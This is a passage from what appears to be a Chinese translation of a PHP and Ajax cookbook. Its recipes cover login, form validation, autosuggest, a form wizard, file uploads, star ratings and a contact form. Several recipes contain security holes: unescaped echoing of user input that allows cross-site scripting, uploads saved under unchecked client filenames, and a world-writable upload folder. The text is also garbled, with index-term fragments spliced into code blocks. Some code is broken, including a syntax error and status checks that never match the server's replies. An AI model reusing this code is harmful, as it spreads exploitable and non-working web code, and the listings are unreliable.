echo 'proceed';
}
?>

然后,我们可以继续进行 HTML 布局。

<!DOCTYPE html>
<html>
<head>
</head>
<body>
<form id="loginForm">
<label for="username">Username: </label>
<input type="text" id="username" name="username" />
<br />
<label for="password">Password:</label>
<input type="password" id="password" name="password"/>
<br /><br />
<input type="submit" value="Sign In" id="submit" />
</form>
</body>
</html>

  1. 当 HTML 设置好后,我们将定义我们的 JavaScript:
<script src="js/prototype.js"></script>
<script>
$('submit').observe('click', login);
function login(e) {
Event.stop(e);
var url = "ajax/login.php";
new Ajax.Request(url, {
method: 'post',
parameters: {
username: document.getElementById('username').value,
password: document.getElementById('password').value
},
onSuccess: process,
onFailure: function() {
alert("There was an error with the connection");
}
});
}
function process(transport) {
var response = transport.responseText;
if(response == 'proceed'){
$('loginForm').hide();
var my_div = document.createElement('div');
my_div.appendChild(document.createTextNode("You are logged in!"));
document.body.appendChild(my_div);
}
else
alert("Sorry, your username and password don't match.");
}
</script>

它是如何工作的...

正如您在源代码中所看到的,我们在 ID 为submit的按钮元素上observe了一个新的click事件,这是我们登录表单中的submit按钮。login()函数由click事件触发。submit按钮的默认行为被Event.stop(event)替换,因此触发了 HTTP 请求的行为被禁用。而是创建了一个 Ajax 请求。Ajax.Request是在prototype.js中使用 Ajax 的基本类。我们使用了两个参数(用户名和密码)的post方法。如果请求成功,并且来自login.php的响应文本是proceed,那么我们成功登录了。

还有更多...

prototype.jsAjax.Request对象扩展到了更多功能,如下所述:

  • Ajax.Updater:

Ajax.Updater 是Ajax.Request对象的扩展,它执行 Ajax 请求并根据响应文本更新容器:

<div id="container">Send the request</div>
<script>
$('submit').observe('click', login);
function login(){
new Ajax.Updater(
'saladContainer', 'login.php', { method: 'post' }
);
})
</script>

  • Ajax.PeriodicalUpdater:

在我们需要定期更新内容的情况下,我们可以使用周期性更新器:

new Ajax.PeriodicalUpdater('items', '/items', {
method: 'get', frequency: 3, decay: 2
});

频率表示更新内容的周期性(以秒为单位)。在上面的代码片段中,我们的内容将每 3 秒更新一次。

  • Ajax.Responders:

Ajax.Responders表示全局监听器的存储库,用于监视页面上的所有 Ajax 活动:

Ajax.Responders.register(responder)
Ajax.Responders.unregister(responder)

使用 responders,我们可以轻松跟踪页面上有多少个 Ajax 请求是活动的。

Ajax.Responders.register({
onCreate: function() {
Ajax.activeRequestCount++;
},
onComplete: function() {
Ajax.activeRequestCount--;
}
});

第二章:基本实用程序

在本章中,我们将涵盖:

  • 使用 Ajax 验证表单

  • 创建一个自动建议控件

  • 制作表单向导

  • 使用 Ajax 上传文件

  • 使用 Ajax 上传多个文件

  • 创建一个五星评分系统

  • 使用 Ajax 构建一个带有验证的 PHP 联系表单

  • 在 Ajax 中显示表格

  • 使用 PHP 和 Ajax 构建分页

在本章中,我们将学习如何构建基本的 Ajax 表单。我们将尝试理解在哪里可以使用 Ajax 方法,以及在哪里不能。我们可以使用 Ajax 的方式有很多种。以下是一些基于用户体验和特定系统性能的“最佳”实践。Ajax 使我们的生活更轻松,更快速,更好;如何以及在哪里使用取决于我们。

使用 Ajax 验证表单

Ajax 的主要思想是实时从服务器获取数据,而不需要重新加载整个页面。在这个任务中,我们将使用 Ajax 构建一个带有验证的简单表单。

准备就绪

由于在此任务中使用了 JavaScript 库,我们将选择 jQuery。我们将下载(如果我们还没有下载)并将其包含在我们的页面中。我们需要准备一些虚拟的 PHP 代码来检索验证结果。在这个例子中,让我们将其命名为inputValidation.php。我们只是检查param变量是否存在。如果这个变量在GET请求中被引入,我们确认验证并将一个OK状态发送回页面:

<?php
$result = array();
if(isset($_GET["param"])){
$result["status"] = "OK";
$result["message"] = "Input is valid!";
} else {
$result["status"] = "ERROR";
$result["message"] = "Input IS NOT valid!";
}
echo json_encode($result);
?>

如何做...

  1. 让我们从基本的 HTML 结构开始。我们将定义一个带有三个输入框和一个文本区域的表单。当然,它是放在<body>中的:
<body>
<h1>Validating form using Ajax</h1>
<form class="simpleValidation">
<div class="fieldRow">
<label>Title *</label>
<input type="text" id="title" name="title"
class="required" />
</div>
<div class="fieldRow">
<label>Url</label>
<input type="text" id="url" name="url"
value="http://" />
</div>
<div class="fieldRow">
<label>Labels</label>
<input type="text" id="labels" name="labels" />
</div>
<div class="fieldRow">
<label>Text *</label>
<textarea id="textarea" class="required"></textarea>
</div>
<div class="fieldRow">
<input type="submit" id="formSubmitter" value="Submit" disabled="disabled" />
</div>
</form>
</body>

  1. 为了对有效输入进行视觉确认,我们将定义 CSS 样式:
<style>
label{ width:70px; float:left; }
form{ width:320px; }
input, textarea{ width:200px;
border:1px solid black; float:right; padding:5px; }
input[type=submit] { cursor:pointer;
background-color:green; color:#FFF; }
input[disabled=disabled], input[disabled] {
background-color:#d1d1d1; }
fieldRow { margin:10px 10px; overflow:hidden; }
failed { border: 1px solid red; }
</style>

  1. 现在,是时候包括 jQuery 及其功能了:
<script src="js/jquery-1.4.4.js"></script>
<script>
var ajaxValidation = function(object){
var $this = $(object);
var param = $this.attr('name');
var value = $this.val();
$.get("ajax/inputValidation.php",
{'param':param, 'value':value }, function(data) {
if(data.status=="OK") validateRequiredInputs();
else
$this.addClass('failed');
},"json");
}
var validateRequiredInputs = function (){
var numberOfMissingInputs = 0;
$('.required').each(function(index){
var $item = $(this);
var itemValue = $item.val();
if(itemValue.length) {
$item.removeClass('failed');
} else {
$item.addClass('failed');
numberOfMissingInputs++;
}
});
var $submitButton = $('#formSubmitter');
if(numberOfMissingInputs > 0){
$submitButton.attr("disabled", true);
} else {
$submitButton.removeAttr('disabled');
}
}
</script>

  1. 我们还将初始化文档ready函数:
<script>
$(document).ready(function(){
var timerId = 0;
$('.required').keyup(function() {
clearTimeout (timerId);
timerId = setTimeout(function(){
ajaxValidation($(this));
}, 200);
});
});
</script>

  1. 当一切准备就绪时,我们的结果如下:如何做...

它是如何工作的...

我们创建了一个带有三个输入框和一个文本区域的简单表单。具有类required的对象在keyup事件后会自动进行验证,并调用ajaxValidation函数。我们的keyup功能还包括Timeoutfunction,以防止用户仍在输入时进行不必要的调用。验证基于两个步骤:

  • 验证实际输入框:我们通过 Ajax 将插入的文本传递给ajax/inputValidation.php。如果服务器的响应不是OK,我们将标记此输入框为“失败”。如果响应是OK,我们将进行第二步。

  • 检查我们表单中的其他必填字段。当表单中没有剩余的“失败”输入框时,我们将启用提交按钮。

还有更多...

在这个例子中,验证是非常基本的。我们只是检查服务器的响应状态是否为OK。我们可能永远不会遇到像我们这里一样的必填字段验证。在这种情况下,最好直接在客户端使用length属性,而不是用很多请求打扰服务器,只是为了检查必填字段是空还是填充了。这个任务只是基本Validation方法的演示。最好在服务器端扩展它,直接检查 URL 表单或标题是否已经存在于我们的数据库中,并让用户知道问题所在以及如何解决。

另请参阅

在本章中使用 PHP Ajax 联系表单和验证配方

创建一个自动建议控件

这个配方将向我们展示如何创建一个自动建议控件。当我们需要在大量数据中进行搜索时,这个功能非常有用。基本功能是根据输入框中的文本显示建议数据列表。

准备就绪

我们可以从虚拟的 PHP 页面开始,它将作为数据源。当我们用GET方法和变量string调用这个脚本时,它将返回包含所选字符串的记录(名称)列表:

<?php
$string = $_GET["string"];
$arr = array(
"Adam",
"Eva",
"Milan",
"Rajesh",
"Roshan",
// ...
"Michael",
"Romeo"
);
function filter($var){
global $string;
if(!empty($string))
return strstr($var,$string);
}
$filteredArray = array_filter($arr, "filter");
$result = "";
foreach ($filteredArray as $key => $value){
$row = "<li>".str_replace($string,
"<strong>".$string."</strong>", $value)."</li>";
$result .= $row;
}
echo $result;
?>

如何做...

  1. 和往常一样,我们将从 HTML 开始。我们将用一个输入框和一个未排序的列表datalistPlaceHolder来定义表单:
<h1>Dynamic Dropdown</h1>
autosuggest controlcreating<form class="simpleValidation">
<div class="fieldRow">
<label>Skype name:</label>
<div class="ajaxDropdownPlaceHolder">
<input type="text" id="name" name="name"
class="ajaxDropdown" autocomplete="OFF" />
<ul class="datalistPlaceHolder"></ul>
</div>
</div>
</form>

  1. 当 HTML 准备好后,我们将使用 CSS 进行调整:
<style>
label { width:80px; float:left; padding:4px; }
form { width:320px; }
input, textarea {
width:200px; border:1px solid black;
border-radius: 5px; float:right; padding:5px;
}
input[type=submit] { cursor:pointer;
background-color:green; color:#FFF; }
input[disabled=disabled] { background-color:#d1d1d1; }
.fieldRow { margin:10px 10px; overflow:hidden; }
.validationFailed { border: 1px solid red; }
.validationPassed { border: 1px solid green; }
.datalistPlaceHolder {
width:200px; border:1px solid black;
border-radius: 5px;
float:right; padding:5px; display:none;
}
ul.datalistPlaceHolder li { list-style: none;
cursor:pointer; padding:4px; }
ul.datalistPlaceHolder li:hover { color:#FFF;
background-color:#000; }
</style>

  1. 现在真正的乐趣开始了。我们将包括 jQuery 库并定义我们的 keyup 事件:
<script src="js/jquery-1.4.4.js"></script>
autosuggest controlcreating<script>
var timerId;
var ajaxDropdownInit = function(){
$('.ajaxDropdown').keyup(function() {
var string = $(this).val();
clearTimeout (timerId);
timerId = setTimeout(function(){
$.get("ajax/dropDownList.php",
{'string':string}, function(data) {
if(data)
$('.datalistPlaceHolder').show().html(data);
else
$('.datalistPlaceHolder').hide();
});
}, 500 );
});
}
</script>

  1. 当一切准备就绪时,我们将在文档ready函数中调用ajaxDropdownInit函数:
<script>
$(document).ready(function(){
ajaxDropdownInit();
});
</script>

  1. 我们的自动建议控件已经准备好了。以下截图显示了输出:如何做...

它是如何工作的...

本教程中的autosuggest控件基于输入框和datalistPlaceHolder中的项目列表。在输入框的每个keyup事件之后,datalistPlaceHolder将通过ajax/dropDownList.php中定义的 Ajax 函数加载项目列表。本教程的一个很好的特性是timerID变量,当与setTimeout方法一起使用时,将允许我们仅在停止输入时向服务器发送请求(在我们的情况下是 500 毫秒)。这可能看起来并不那么重要,但它将节省大量资源。当我们已经输入“米兰”时,我们不想等待“M”在输入框中的响应。而不是 5 个请求(每个 150 毫秒),我们只有一个。例如,每天有 1 万个用户,效果是巨大的。

还有更多...

我们始终需要记住,服务器的响应是以 JSON 格式返回的。

[{
'id':'1',
'contactName':'Milan'
},...,{
'id':'99',
'contactName':'Milan (office)'
}]

在 JavaScript 中使用 JSON 对象并不总是从性能的角度来看都有用。让我们想象一下,我们有一个 JSON 文件中有 5000 个联系人。

从 5000 个对象构建 HTML 可能需要一些时间,但是,如果我们构建一个 JSON 对象,代码将如下所示:

[{
autosuggest controlcreating"status": "100",
"responseMessage": "Everything is ok! :)",
"data": "<li><h2><ahref=\"#1\">Milan</h2></li>
<li><h2><ahref=\"#2\">Milan2</h2></li>
<li><h2><ahref=\"#3\">Milan3</h2></li>"
}]

在这种情况下,我们将在 HTML 中拥有完整的数据,不需要创建任何逻辑来创建一个简单的项目列表。

制作表单向导

表单向导基本上是分成几个步骤的表单。它们对于投票或表单的特殊情况非常有用,当我们想要在网站上分割注册流程时。它们也用于电子商务网站,在购买过程中(购物车š付款方式š送货地址š确认š购买本身)。在这个教程中,我们将构建一个表单向导(尽可能简单)。

准备工作

我们将准备虚拟的 PHP 文件step1.php, step2.phpstep3.php。这些文件的内容很简单:

<?php
echo "STEP 1"; // Same for 2 and 3
?>

在这里,我们将包括 jQuery 库:

<script src="js/jquery-1.4.4.js"></script>

如何做...

  1. 我们首先定义 HTML 内容:
<div class="wizard">
<ul class="wizardNavigation">
<li class="active first" id="step1">Step 1</li>
<li id="step2">Step 2</li>
<li id="step3" class="last">Step 3</li>
</ul>
<div class="wizardBody">STEP 1</div>
<div class="wizardActionButtons">
<a href="javascript:submitThePage('back');" class="back"
style="display:none;">Back</a>
<a href="http:// class="finish" style="display:none;"> Finish</a>
<a href="javascript:submitThePage('next');"
class="next">Next</a>
</div>
</div>

  1. 接下来,我们将在 HTML 中包含 CSS 样式如下:
<style>
.wizard { width:300px; overflow:hidden;
border:1px solid black; }
.wizardNavigation { overflow:hidden;
border-bottom:1px solid #D2D2D2; }
.wizardNavigation li { float:left; list-style:none;
padding:10px; cursor:default; color:#D2D2D2; }
.wizardNavigation li.active { color:#000; }
.wizardBody { clear:both; padding:20px; }
.wizardActionButtons { padding:10px;
border-top:1px solid #D2D2D2; }
.wizardActionButtons .back { float:left; cursor:pointer; }
.wizardActionButtons .next,
.wizardActionButtons .finish { float:right; cursor:pointer; }
.wizard .disabled { color:#D2D2D2; }
</style>

  1. 接下来,我们将在关闭</body>标签之前放置 JavaScript:
<script>
var submitThePage = function (buttonDirection){
var $currentTab = $('.wizardNavigation li.active');
if(buttonDirection == 'next')
var $actionTab = $currentTab.next('li');
else
var $actionTab = $currentTab.prev('li');
var target = "ajax/"+ $actionTab.attr('id') +".php";
$.get(target, {'param':'test'},
function(data) {
if(data){
if($actionTab){
$currentTab.removeClass('active');
$actionTab.addClass('active');
}
displayFinishButton($actionTab.hasClass('last'));
displayNextButton(!$actionTab.hasClass('last'));
displayBackButton(!$actionTab.hasClass('first'));
$('.wizardBody').html(data);
}
});
}
var displayBackButton = function(enabled){
enabled == true ?
$('.back').show() : $('.back').hide();
}
var displayNextButton = function(enabled){
enabled == true ?
$('.next').show() : $('.next').hide();
}
var displayFinishButton = function(enabled){
enabled == true ?
$('.finish').show() : $('.finish').hide();
}
</script>

  1. 结果如下:如何做...

它是如何工作的...

向导分为三个部分:

  • 第一部分是wizardNavigation,其中包括向导中的所有步骤(选项卡)。

  • 第二个是wizardBody,其中包含当前步骤(选项卡)的内容。

  • 最后一部分是wizardActionButtons,其中包含返回下一步完成按钮。返回下一步按钮触发submitThePage函数,带有buttonDirection参数(返回下一步)。此函数将通过$.get()函数将 Ajax 请求发送到下一步,该下一步由target参数表示。目标自动从选项卡导航中获取。它等于每个导航元素的id属性。

还有更多...

我们已经理解了表单向导的基本思想。但有时我们没有时间或资源来创建自己的 jQuery 功能。在这种情况下,我们可以使用一些免费的 jQuery 插件,比如来自plugins.jquery.com/project/formwizardformwizard插件。并非所有插件都是 100%功能的;每样东西都有自己的“bug”。然而,帮助总是很容易得到的。我们可以修改插件以满足我们的要求,然后等待插件的下一个版本中修复 bug,或者我们可以贡献自己的代码。

使用 Ajax 上传文件

在这个示例中,我们将讨论通过 Ajax 上传文件。实际上,没有 Ajax 方法可以做到这一点。我们可以使用iframe方法来模拟 Ajax 功能。

准备工作

首先,我们将准备uploads文件夹,并确保它是可访问的。在 Mac OS X/Linux 中,我们将使用:

$ sudo chmod 777 'uploads/'

注意

在 Windows 7 中,我们可以右键单击文件夹属性|编辑|选择用户|组,从权限窗口中选择(选择任何人),并在允许列下选择完全控制以分配完全访问权限控制权限。

现在让我们创建一个 HTML 文件(ajaxUpload.html)和一个 PHP 文件(ajax/uploadFile.php)

如何做...

  1. ajaxUpload.html将如下所示:
<script>
function submitForm(upload_field){
upload_field.form.submit();
upload_field.disabled = true;
return true;
}
</script>

  1. 我们的 HTML 主体如下:
<h1>Uploading File Using Ajax</h1>
<form action="ajax/uploadFileSingle.php" target="uploadIframe"
method="post" enctype="multipart/form-data">
<div class="fieldRow">
<label>Select the file: </label>
<input type="file" name="file" id="file"
onChange="submitForm(this)" />
</div>
</form>
<iframe id="uploadIframe" name="uploadIframe"></iframe>
<div id="placeHolder"></div>

ajax/uploadFile.php 的内容如下:

<head>
<script src="../js/jquery-1.4.4.js"></script>
</head>
<body>
<?php
$upload_dir = "../uploads";
$result["status"] = "200";
$result["message"]= "Error!";
if(isset($_FILES['file'])){
echo "Uploading file... <br />";
if ($_FILES['file']['error'] == UPLOAD_ERR_OK) {
$filename = $_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'],
$upload_dir.'/'.$filename);
$result["status"] = "100";
$result["message"]=
"File was uploaded successfully!";
} elseif ($_FILES['file']['error'] ==
UPLOAD_ERR_INI_SIZE) {
$result["status"] = "200";
$result["message"]= "The file is too big!";
} else {
$result["status"] = "500";
$result["message"]= "Unknown error!";
}
}
?>
</body>

  1. $(document).ready上初始化结果消息:
<script>
$(document).ready(function(){
$('#placeHolder', window.parent.document)
.html('<?php echo htmlspecialchars($result["message"]); ?>');
});
</script>

  1. 结果如下:如何做...

它是如何工作的...

正如您在这个任务中所看到的,我们创建了一个简单的表单,可以上传文件。这个例子的主要重点在于iframe,我们将表单提交到这个iframe。这个iframe代表一个包含 PHP 的容器,它提供所选文件的物理上传。当上传成功时,我们将在父文档的placeHolder中显示结果消息。

还有更多...

要增加上传文件的最大允许大小,我们可以在php.ini中使用upload_max_filesize指令。还有更多用于上传文件的指令:

指令 默认值
file_uploads 1 允许/禁止 HTTP 文件上传
upload_tmp_dir NULL 文件上传期间存储文件的临时目录
upload_max_filesize 2M 上传文件的最大大小
max_file_uploads 20 同时进行的文件上传的最大数量

使用 Ajax 上传多个文件

在上一个任务中,我们学习了如何通过伪 Ajax 方法使用 iframe 上传单个文件。这个例子有一个很大的缺点;我们无法选择多个文件。这只能通过使用 HTML5(并非所有浏览器都完全支持)、Flash 或 Java 来实现。在这个示例中,我们将构建一个表单,允许我们选择多个文件,并在单击一次后将它们上传到服务器。

准备工作

对于这个任务,我们需要下载 jQuery 库、SWFUpload 库(swfupload.org/),以及 Adam Royle 的 SWFUpload jQuery 插件(blogs.bigfish.tv/adam/)。

如何做...

  1. 让我们从 HTML 开始:
<div id="swfupload-control">
<p>Upload files.</p>
<input type="button" id="button" value="Upload" />
<p id="queuestatus"></p>
<ol id="log"></ol>
</div>

  1. 接下来,我们定义 CSS:
<style>
#swfupload-control p { margin:10px 5px; }
#log li { list-style:none; margin:2px; padding:10px;
font-size:12px; color:#333; background:#fff;
position:relative; border:1px solid black;
border-radius: 5px;}
#log li .progressbar { height:5px; background:#fff; }
#log li .progress { background:#999; width:0%; height:5px; }
#log li p { margin:0; line-height:18px; }
#log li.success { border:1px solid #339933;
background:#ccf9b9;}
</style>

  1. 现在,我们将包括 jQuery、SWFUpload和 SWFUpload jQuery 库:
<script src="js/jquery-1.4.4.js"></script>
<script src="js/swfupload/swfupload.js"></script>
<script src="js/jquery.swfupload.js"></script>

  1. 接下来,我们将定义SWFUpload对象和绑定事件,如下所示:
<script>
$(function(){
$('#swfupload-control').swfupload({
upload_url: "upload-file.php",
file_post_name: 'uploadfile',
flash_url : "js/swfupload/swfupload.swf",
button_image_url :
'js/swfupload/wdp_buttons_upload_114x29.png',
button_width : 114,
button_height : 29,
button_placeholder : $('#button')[0],
debug: false
})
.bind('fileQueued', function(event, file){
var listitem='<li id="'+file.id+'" >'+
file.name+' ('+Math.round(file.size/1024)+' KB)
<span class="progressvalue" ></span>'+
'<div class="progressbar" >
<div class="progress" ></div></div>'+
'<p class="status" >Pending</p>'+'</li>';
$('#log').append(listitem);
$(this).swfupload('startUpload');
})
.bind('uploadStart', function(event, file){
$('#log li#'+file.id)
.find('p.status').text('Uploading...');
$('#log li#'+file.id)
.find('span.progressvalue').text('0%');
})
.bind('uploadProgress', function(event, file, bytesLoaded){
var percentage=Math.round((bytesLoaded/file.size)*100);
$('#log li#'+file.id)
.find('div.progress').css('width', percentage+'%');
$('#log li#'+file.id)
.find('span.progressvalue').text(percentage+'%');
})
.bind('uploadSuccess', function(event, file, serverData){
var item=$('#log li#'+file.id);
item.find('div.progress').css('width', '100%');
item.find('span.progressvalue').text('100%');
item.addClass('success').find('p.status')
.html('File was uploaded successfully.');
})
.bind('uploadComplete', function(event, file){
$(this).swfupload('startUpload');
})
});
</script>

  1. 用于上传文件的 PHP 如下:
<?php
$uploaddir = './uploads/';
$file = $uploaddir . basename($_FILES['uploadfile']['name']);
if (move_uploaded_file($_FILES['uploadfile']['tmp_name'], $file)) { echo "success"; } else { echo "error"; }
?>

  1. 我们的结果如下:如何做...

它是如何工作的...

首先,我们为swfupload-control定义一个简单的 HTML 表单,包括输入按钮。这个按钮被一个swf对象覆盖,它允许我们选择多个文件。在 JavaScript 中,我们使用基本设置(upload_url、file_post_name、flash_url、button_image_url等)定义主SWFUpload对象。我们可以使用预定义的事件为每个文件构建一个带有进度条的容器。

还有更多...

SWFUpload中定义的事件为我们提供了在文件上传期间完全控制的能力,如下所示:

flashReady 这是由 Flash 控件调用的,通知SWFUploadFlash 电影已加载。
swfUploadLoaded 这是为了确保可以安全调用SWFUpload方法而调用的。
fileDialogStart 在调用selectFile选择文件后触发此事件。
fileQueued FileSelectionDialog窗口关闭后,每个排队的文件都会触发此事件。
fileQueueError FileSelectionDialog窗口关闭后,每个未排队的文件都会触发此事件。
fileDialogComplete 这在FileSelectionDialog窗口关闭并且所有选定的文件都已处理后触发。
uploadStart 这是在文件上传之前立即调用的。
uploadProgress 这是由 Flash 控件定期触发的。
uploadError 每当上传被中断或未成功完成时触发。
uploadSuccess 当整个上传已传输并服务器返回 HTTP 200 状态代码时触发。
uploadComplete 这总是在上传周期结束时触发(在uploadErroruploadSuccess之后)。

创建一个五星级评分系统

在这个任务中,我们将学习如何构建一个五星级评分系统。这个功能经常被电子商务网站使用,允许用户对产品、文章或任何值得用户评价的东西进行评分。

准备工作

让我们准备一个虚拟的 PHP 文件ajax/saveRating.php来确认评分已保存:

<?php
$result = array();
$result["status"] = "";
$result["message"] = "";
if(isset($_POST["itemID"]) && isset($_POST["itemValue"])){
$result["status"] = "OK";
$result["message"] = "Rating has been saved successfully.";
} else {
$result["status"] = "ERROR";
$result["message"] = "Provide itemID and itemValue!";
}
echo json_encode($result);
?>

我们需要准备一个带有星星的.gif 图像。这个.gif 包括星星的三种变化:第一种是非活动状态的星星,第二种是“悬停”事件的星星,第三种是活动状态的星星。

准备工作

如何做...

  1. 我们准备开始 HTML 部分:
<body>
five star rating systemcreating, steps<h1>Creating Five Stars Rating System</h1>
<div class="fieldRow">
<label>Book 123A</label>
<ul id="book-123a" class="ratingStars">
<li></li>
<li class="active"></li>
<li></li>
<li></li>
<li></li>
</ul>
</div>
<div class="fieldRow">
<label>Book 123B</label>
<ul id="book-123b" class="ratingStars">
<li class="active"></li>
<li></li>
<li></li>
<li></li>
<li></li>
</ul>
</div>
<div class="fieldRow">
<label>Book 123C</label>
<ul id="book-123c" class="ratingStars">
<li></li>
<li></li>
<li></li>
<li></li>
<li class="active"></li>
</ul>
</div>
<div id="placeHolder"></div>
</body>

  1. 让我们包括 jQuery 库并定义 JavaScript 功能:
<script src="js/jquery-1.4.4.js"></script>
<script>
$(document).ready(function(){
$('ul.ratingStars li.active').prevAll().addClass('active');
$('ul.ratingStars li').each(function(){
var $item = $(this);
var $itemContainer = $item.parents('ul.ratingStars');
var containerID = $itemContainer.attr('id');
var $itemsAll = $itemContainer.find('li');
$item.mouseover(function(){
$itemsAll.addClass('default');
$item.prevAll().addClass('highlighted');
})
.mouseout(function(){
$itemsAll
.removeClass('default')
.removeClass('highlighted');
});
.bind('click', function(){
var itemIndex = $itemsAll.index(this);
$.post('ajax/saveRating.php',
{'itemID':containerID, 'itemValue': itemIndex},
function(data) {
if(data && data.status == "100"){
$item
.addClass('active')
.removeClass('highlighted');
$item.nextAll().removeClass('active');
$item.prevAll().addClass('active');
} else {
alert('Error!');
}
}, "json");
});
});
});
</script>

  1. CSS 是这项任务中的关键部分之一:
<style>
five star rating systemcreating, stepslabel, ul { float:left; }
.fieldRow { clear:both; margin:5px 0px; overflow:hidden; }
ul.ratingStars { list-style:none; margin:0px 0px;
overflow:hidden; }
ul.ratingStars li { float:left; width:16px; height:16px;
background:url('icons/star.gif') no-repeat left top;
cursor:pointer; }
ul.ratingStars li.active { background-position: 0px -32px; }
ul.ratingStars li.default { background-position: 0px 0px; }
ul.ratingStars li.highlighted,
ul.ratingStars li:hover { background-position: 0px -16px; }

  1. 我们的结果如下:如何做...

它是如何工作的...

基本上,整个评分系统是一个项目的无序列表。每个项目代表一个星星,可以提供三种状态;默认、活动或突出显示。通过改变每颗星星的背景位置来改变状态。在我们的情况下,我们使用icons/star.gif,其中包括所有三种可能的状态(灰色、红色和黄色)。定义了一个mouseover事件,它将突出显示悬停的星星和之前选择的所有星星。点击星星后,我们调用一个 Ajax post 请求到ajax/saveRating.php并设置所有必需的星星为激活状态。

还有更多...

在大多数情况下,我们不希望允许一个用户进行多次投票。在这种情况下,我们可以设置 cookie 如下:

...
if(isset($_POST["itemID"]) && isset($_POST["itemValue"])){
setcookie("rated".$id, $id, time()+60*60*60*24*365);
$result["status"] = "OK";
$result["message"] = "Rating has been saved successfully.";
}

当 cookie 设置为一年后过期时,我们可以在我们的评分系统中使用它:

if(isset($_COOKIE['rated'.$id])) {
$result["status"] = "550";
$result["message"] = "Already voted!";
}
echo json_encode($result);

使用验证构建 PHP Ajax 联系表单

在提交表单之前对输入框进行验证已成为非常重要的 Ajax 功能之一。用户不必等到整个表单返回一些无效的输入框消息,然后再尝试重新填写。在这个任务中,我们将构建一个带有 Ajax 验证的联系表单。

如何做...

  1. 让我们从 HTML 开始:
<body>
<form id="contactForm" action="#" method="post">
<h1>PHP Ajax Contact Form</h1>
<div class="fieldRow">
<label for="name">Your Name:</label>
<input type="text" name="name" id="name"
class="required" />
</div>
<div class="fieldRow">
<label for="email">Your e-mail:</label>
<input type="text" name="email" id="email"
class="required email" />
</div>
<div class="fieldRow">
<label for="url">Website:</label>
<input type="text" name="url" id="url"
class="url" />
</div>
<div class="fieldRow">
<label for="phone">Mobile Phone:</label>
<input type="text" name="phone" id="phone"
class="phone"/>
</div>
<div class="fieldRow">
<label for="message">Your Message:</label>
<textarea name="message" id="message"
class="required"></textarea>
</div>
<div class="fieldRow buttons">
<input type="reset" value="Clear" />
<input type="submit" value="Send" />
</div>
</form>
</body>

  1. 现在,我们可以定义样式:
<style>
form{ width:450px; }
label { float:left; width:100px; padding:5px; }
.fieldRow { overflow:hidden; margin:20px 10px; }
.buttons { text-align:center; }
input[type=text], textarea{ width:200px; border:1px solid black; border-radius: 5px; padding:5px; }
input.required, textarea.required{ border:1px solid orange; }
.failed input.required, .failed textarea.required{ border:1px solid red; }
.failed { color:red; }
</style>

  1. 主要的 PHP 验证如下:
"status" => "50500",
"message" => "Error: No parameters provided."
);
if(isset($_POST["param"])){
$param = $_POST["param"];
$value = $_POST["value"];
switch($param){
default:
$result["status"] = "10100";
$result["message"] = "OK";
break;
case 'email':
if(filter_var($value, FILTER_VALIDATE_EMAIL)){
$result["status"] = "10100";
$result["message"] = "E-mail is valid!";
} else {
$result["status"] = "50502";
$result["message"] = "Error: E-mail is not
valid.";
}
break;
case 'url':
if(filter_var($value, FILTER_VALIDATE_URL)){
$result["status"] = "10100";
$result["message"] = "URL is valid!";
} else {
$result["status"] = "50502";
$result["message"] = "Error: URL is not valid.";
}
break;
case 'phone':
if(preg_match('/^\+?[0-9]+$/', $value)){
$result["status"] = "10100";
$result["message"] = "Phone is valid!";
} else {
$result["status"] = "50502";
$result["message"] = "Error: Phone number is not
valid.";
}
break;
}
}
echo json_encode($result);
?>

  1. 具有 Ajax 调用的 JavaScript 功能如下:
<script src="js/jquery-1.4.4.js"></script>
<script>
$(document).ready(function(){
$('#contactForm').submit(function(e){
var $form = $(this);
$.ajaxSetup({async:false});
$('.required').each(function(){
var $this = $(this);
var value = $this.val();
if(value.length == 0)
$this.parents('.fieldRow').addClass('failed');
else
$this.parents('.fieldRow').removeClass('failed');
});
$('.email').each(function(){
var $this = $(this);
var value = $this.val();
$.post("validators/main.php",
{'param':'email', 'value':value },
function(data) {
if(data.status==10100)
$this
.parents('.fieldRow').removeClass('failed');
else
$this.parents('.fieldRow').addClass('failed');
}, "json");
});
$('.url').each(function(){
...
$.post("validators/main.php",
{'param':'url', 'value':value }, function(data) {
...
});
$('.phone').each(function(){
...
$.post("validators/main.php",
{'param':'phone', 'value':value }, function(data) {
...
});
return !$('.failed').length;
});
});
</script>

  1. 结果如下:如何做...

它是如何工作的...

我们从 HTML 源代码开始。它包含四个输入框和一个文本区域。正如你在源代码中所看到的,我们准备了两种验证。第一种是检查必填字段(标有class="required"),第二种是基于特定类型的数据(电子邮件、URL 和电话)。第一种验证仅在客户端进行,第二种涉及发送一个 post 请求到validators/main.php,对给定的参数进行评估。如果输入未通过验证,则标记为failed。如果表单中没有failed输入框,则启用submit事件。当所有请求完成时,该事件返回true值。这是通过允许同步请求来实现的——$.ajaxSetup({async:false})。请注意,同步请求可能会暂时锁定浏览器,禁用任何活动,而请求处于活动状态时。

还有更多...

在这个例子中,我们使用了服务器端字段的验证。这个逻辑并不完全是我们在现实生活中会使用的。当然,我们应该始终在服务器端进行验证(以防用户关闭了 JavaScript),但我们不需要让服务器处理一些我们可以在客户端轻松找到的东西,比如验证电子邮件、URL 或必填字段。jQuery 有一个名为validate.js的很好的验证插件(docs.jquery.com/Plugins/validation)。

我们需要做的就是下载带有validate插件的 jQuery 库,并将其包含在我们的源代码中:

<script src="jquery/jquery-latest.js"></script>
<script src="jquery/plugins/validate/jquery.validate.js">
</script>

为必填字段定义required类,并为特定验证器定义一些额外的类,比如电子邮件:

<form id="commentForm" method="get" action="">
<label for="email">E-Mail</label>
<input id="email" name="email" class="required email" />
</form>

之后,在特定表单中调用validate()函数:

<script>
$(document).ready(function(){$("#commentForm").validate();});
</script>

在 Ajax 中显示表格

在这个任务中,我们将使用 Ajax 以表格形式显示数据。作为数据源,我们将使用预定义的 JSON 对象。

准备工作

首先,我们需要准备一个虚拟的 JSON 数据源,其中包含我们表格中将显示的所有项目:

json/requests.json:
[{
"id": "1",
"name": "Milan Sedliak Group",
"workflow": "Front End Q Evaluation",
"user": "Milan Sedliak",
"requestor": "Milan Sedliak",
"status": "submitted",
"email": "milan@milansedliak.com",
"date": "Today 15:30"
},
{...}]

如何做...

  1. 作为基本 HTML,我们可以使用这个包含表格和工具栏的源代码。这个工具栏将包括我们项目的选择功能。
<div class="tableContainer">
<div class="tableToolbar">
Select
<a href="#" class="selectAll">All</a>,
<a href="#" class="selectNone">None</a>,
<a href="#" class="selectInverse">Inverse</a>
</div>
<table>
<thead></thead>
